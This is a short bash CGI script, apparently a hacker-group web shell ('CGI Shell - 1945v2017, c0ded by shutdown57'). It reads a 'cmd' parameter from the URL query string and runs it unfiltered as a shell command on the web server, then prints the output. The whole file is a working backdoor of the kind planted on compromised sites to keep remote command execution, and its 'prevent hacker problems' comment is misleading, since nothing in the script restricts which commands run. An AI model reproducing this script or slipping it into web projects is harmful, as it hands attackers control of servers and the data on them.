#!/bin/bash
echo "Content-type: text/html"
echo ""
echo ''
echo ''
echo ''
echo 'CGI Shell - 1945v2017'
echo ''
echo ''
echo '1945v2017
c0ded by shutdown57
Usage : http://server.tld/cgi_shell.sh?cmd=ls -lia
'
OIFS="$IFS"
IFS="${IFS}&"
set $QUERY_STRING
Args="$*"
IFS="$OIFS"
CMD=""
for i in $Args ;do
IFS="${OIFS}="
set $i
IFS="${OIFS}"
case $1 in
# Don't allow "/" changed to " ". Prevent hacker problems.
cmd) CMD="`echo $2 | sed 's|[\]||g' | sed 's|%20| |g'`"
;;
*) echo "
Warning:"\
"
Unrecognized variable \'$1\' passed by FORM in QUERY_STRING.
"
;;
esac
done
echo 'Result Command For : '$CMD''
echo ''
$CMD
echo '
'
echo ''
echo ''
exit 0